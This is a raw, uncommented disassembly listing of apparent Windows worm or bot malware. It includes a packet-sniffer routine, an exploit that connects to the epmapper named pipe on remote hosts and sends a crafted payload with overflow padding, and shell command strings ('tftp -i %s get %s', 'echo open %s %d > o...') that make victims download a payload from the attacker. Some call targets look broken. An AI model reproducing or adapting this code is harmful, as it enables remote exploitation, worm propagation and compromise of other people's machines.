		jnz	short loc_402841
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_402841:				; CODE XREF: sub_402688+197j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	edi
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 25E02EAh


loc_402865:				; CODE XREF: sub_402688+177j
		push	ebx
		mov	ebx, offset dword_426C78


loc_40286B:				; CODE XREF: sub_402688+21Bj
					; sub_402688+22Dj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_102B4]
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_102B4]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	loc_40297D
		cmp	[ebp+var_102AB], 6
		jnz	short loc_40286B
		mov	eax, [ebp+var_102A8]
		cmp	[ebp+var_10293], 18h
		mov	[ebp+var_C], eax
		jnz	short loc_40286B
		lea	eax, [ebp+var_1028C]
		push	offset aPsniff	; "[PSNIFF]"
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40286B
		mov	eax, ebx
		xor	edi, edi
		test	eax, eax
		jz	short loc_40286B
		mov	[ebp+arg_0], ebx


loc_4028D9:				; CODE XREF: sub_402688+26Cj
		push	eax
		lea	eax, [ebp+var_1028C]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4028FB
		inc	edi
		add	[ebp+arg_0], 18h
		mov	eax, [ebp+arg_0]
		jnz	short loc_4028D9
		jmp	loc_40286B
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_402688+262j
		lea	eax, [ebp+var_1028C]
		push	eax
		push	[ebp+var_102A0]
		call	dword_43F5A4
		movzx	eax, ax
		push	eax
		push	[ebp+var_C]
		call	dword_43F6F4
		push	eax
		lea	eax, [edi+edi*2]
		mov	eax, dword_426C8C[eax*8]
		push	off_426C68[eax*4]
		lea	eax, [ebp+var_2B4]
		push	offset unk_427528
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		cmp	[ebp+var_28], esi
		jnz	short loc_40296B
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_40296B:				; CODE XREF: sub_402688+2C1j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_40286B
; ---------------------------------------------------------------------------


loc_40297D:				; CODE XREF: sub_402688+20Ej
		call	dword_43F5FC
		push	eax
		push	offset unk_4274E4
		lea	eax, [ebp+var_2B4]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_28], esi
		pop	ebx
		jnz	short loc_4029C3
		push	esi
		lea	eax, [ebp+var_2B4]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+var_B4]
		call	sub_40D679
		add	esp, 14h


loc_4029C3:				; CODE XREF: sub_402688+319j
		lea	eax, [ebp+var_2B4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F700
		push	[ebp+var_30]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 25E02EAh
		nop
sub_402688	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4029E9	proc near		; CODE XREF: sub_402DD7+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43C80C
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		call	near ptr 2610000h
		nop
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_43C808
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_43F708
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_402AAD
		cmp	eax, ebx
		jnz	short loc_402AB7


loc_402AAD:				; CODE XREF: sub_4029E9+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_43F708


loc_402AB7:				; CODE XREF: sub_4029E9+C2j
		cmp	eax, 5
		jz	short loc_402AC5
		cmp	eax, ebx
		jz	short loc_402AC5
		push	1
		pop	eax
		jmp	short loc_402AC7
; ---------------------------------------------------------------------------


loc_402AC5:				; CODE XREF: sub_4029E9+D1j
					; sub_4029E9+D5j
		xor	eax, eax


loc_402AC7:				; CODE XREF: sub_4029E9+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4029E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402ACC	proc near		; CODE XREF: sub_402DD7+7Ap
					; sub_402DD7+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_427B6C
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset asc_427B64 ; "\\\\"
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43C80C
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 2610000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B5F
		add	esp, 10h


loc_402B5D:				; CODE XREF: sub_402ACC+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_43F5A8
		test	eax, eax
		jz	short loc_402B7D
		push	7D0h
		nop
		call	near ptr 25F0439h
		jmp	short loc_402B5D
; ---------------------------------------------------------------------------


loc_402B7D:				; CODE XREF: sub_402ACC+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_402ACC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B84	proc near		; CODE XREF: sub_402DD7+A9p
					; sub_402DD7+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_417B30
		push	esi
		push	edi
		push	offset byte_42F674
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_416BCD
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_402DD3
		push	ebx
		mov	ebx, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_402C09:				; CODE XREF: sub_402B84+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_402C59
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417390
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417330
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_417390
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_402C09
; ---------------------------------------------------------------------------


loc_402C59:				; CODE XREF: sub_402B84+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_402C74
		cmp	[ebp+arg_C0], 3
		jz	short loc_402C7D
		cmp	[ebp+arg_C0], 0
		jmp	short loc_402C7B
; ---------------------------------------------------------------------------


loc_402C74:				; CODE XREF: sub_402B84+DCj
		cmp	[ebp+arg_C0], 3


loc_402C7B:				; CODE XREF: sub_402B84+EEj
		jnz	short loc_402C86


loc_402C7D:				; CODE XREF: sub_402B84+E5j
		push	4
		push	offset dword_427B60
		jmp	short loc_402C8D
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_402B84:loc_402C7Bj
		push	4
		push	offset dword_427B5C


loc_402C8D:				; CODE XREF: sub_402B84+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_427694
		push	eax
		call	sub_417390
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4279F8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_417390
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_427A0C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		add	edi, 3Ch
		push	30h
		push	offset dword_427A4C
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417390
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_417B89
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_417330
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_417390
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_402DD3:				; CODE XREF: sub_402B84+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_402B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DD7	proc near		; CODE XREF: sub_407767+1EAp
					; DATA XREF: ___:off_42ACB4o

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_138		= byte ptr -138h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_417B30
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_402F45
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4029E9
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403055
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_138]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_138]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	near ptr 2630000h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_402E5C


loc_402E4D:				; CODE XREF: sub_402DD7+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		pop	ecx
		jmp	loc_403055
; ---------------------------------------------------------------------------


loc_402E5C:				; CODE XREF: sub_402DD7+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_40D4C5
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_402EF4
		mov	edi, 186A0h
		push	edi
		call	sub_417B89
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_427648
		push	[ebp+var_4]
		call	near ptr 2620620h
		nop
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_402EE4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	near ptr 2620000h
		nop
		test	eax, eax
		jnz	short loc_402F02


loc_402EE4:				; CODE XREF: sub_402DD7+F3j
		push	esi
		call	sub_417C3B
		push	[ebp+var_8]
		call	sub_417C3B
		pop	ecx
		pop	ecx


loc_402EF4:				; CODE XREF: sub_402DD7+B9j
		push	[ebp+var_4]
		call	near ptr 2611A31h
		nop
		jmp	loc_402E4D
; ---------------------------------------------------------------------------


loc_402F02:				; CODE XREF: sub_402DD7+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		nop
		call	near ptr 2611183h
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	near ptr 2611A31h
		nop
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_402ACC
		cmp	edi, 1
		pop	ecx
		jnz	loc_403066
		jmp	loc_403055
; ---------------------------------------------------------------------------


loc_402F45:				; CODE XREF: sub_402DD7+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_40D4C5
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403055
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43F6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403055
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43F668
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402B84
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_402FD7
		push	[ebp+var_4]
		jmp	short loc_40304F
; ---------------------------------------------------------------------------


loc_402FD7:				; CODE XREF: sub_402DD7+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_402FEF


loc_402FEC:				; CODE XREF: sub_402DD7+22Aj
		push	esi
		jmp	short loc_403048
; ---------------------------------------------------------------------------


loc_402FEF:				; CODE XREF: sub_402DD7+213j
		push	ebx
		push	48h
		push	offset dword_427648
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402FEC
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403030
		push	[ebp+var_8]
		jmp	short loc_403048
; ---------------------------------------------------------------------------


loc_403030:				; CODE XREF: sub_402DD7+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43F680
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403059


loc_403048:				; CODE XREF: sub_402DD7+216j
					; sub_402DD7+257j
					; DATA XREF: ...
		call	sub_417C3B
		pop	ecx
		push	edi


loc_40304F:				; CODE XREF: sub_402DD7+1FEj
		call	dword_43F700


loc_403055:				; CODE XREF: sub_402DD7+31j
					; sub_402DD7+80j ...
		xor	eax, eax
		jmp	short loc_4030C7
; ---------------------------------------------------------------------------


loc_403059:				; CODE XREF: sub_402DD7+26Fj
		call	sub_417C3B
		pop	ecx
		push	edi
		call	dword_43F700


loc_403066:				; CODE XREF: sub_402DD7+163j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset unk_427B78
		push	eax
		call	sub_4172B0
		add	esp, 0Ch


loc_40307E:				; CODE XREF: sub_402DD7+2C7j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40C04D
		test	eax, eax
		pop	ecx
		jnz	short loc_4030A2
		push	1388h
		call	near ptr 25F0439h
		nop
		inc	ebx
		cmp	ebx, 6
		jl	short loc_40307E
		jmp	short loc_4030C4
; ---------------------------------------------------------------------------


loc_4030A2:				; CODE XREF: sub_402DD7+2B6j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_4030C4:				; CODE XREF: sub_402DD7+2C9j
		push	1
		pop	eax


loc_4030C7:				; CODE XREF: sub_402DD7+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402DD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4030CC	proc near		; DATA XREF: ___:00426004o
		jmp	$+5
sub_4030CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4030D1	proc near
		push	0BB80h
		push	76Ch
		call	sub_415450
		pop	ecx
		mov	dword_43C810, eax
		pop	ecx
		retn
sub_4030D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030E8	proc near		; CODE XREF: sub_403249+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_43C810
		push	eax
		call	dword_43F668
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403222
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_403222
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43F680
		mov	esi, offset byte_42F674
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403222
		push	1F4h
		call	near ptr 25F0439h
		nop
		push	esi
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403226


loc_403222:				; CODE XREF: sub_4030E8+51j
					; sub_4030E8+67j ...
		xor	al, al
		jmp	short loc_403244
; ---------------------------------------------------------------------------


loc_403226:				; CODE XREF: sub_4030E8+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43F680
		push	ebx
		call	dword_43F700
		mov	al, 1


loc_403244:				; CODE XREF: sub_4030E8+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4030E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403249	proc near		; CODE XREF: ___:004037ADp
					; ___:004037CFp

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_417B30
		mov	eax, dword_428634
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_428638
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_428628
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_403288:				; CODE XREF: sub_403249+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_403288
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_4280B8
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_417390
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_417390
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_417AB0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_417390
		mov	ax, word ptr dword_43C810
		add	esp, 2Ch
		push	eax
		call	dword_43F668
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_427DB8
		call	sub_417390
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403445
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4284E0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_417390
		mov	esi, offset loc_427D08
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_428620
		push	eax
		call	sub_417390
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_417390
		add	esp, 40h
		push	esi
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_4033FE:				; CODE XREF: sub_403249+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_4033FE
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_417330
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_417330
		add	esp, 18h
		jmp	short loc_40349C
; ---------------------------------------------------------------------------


loc_403445:				; CODE XREF: sub_403249+118j
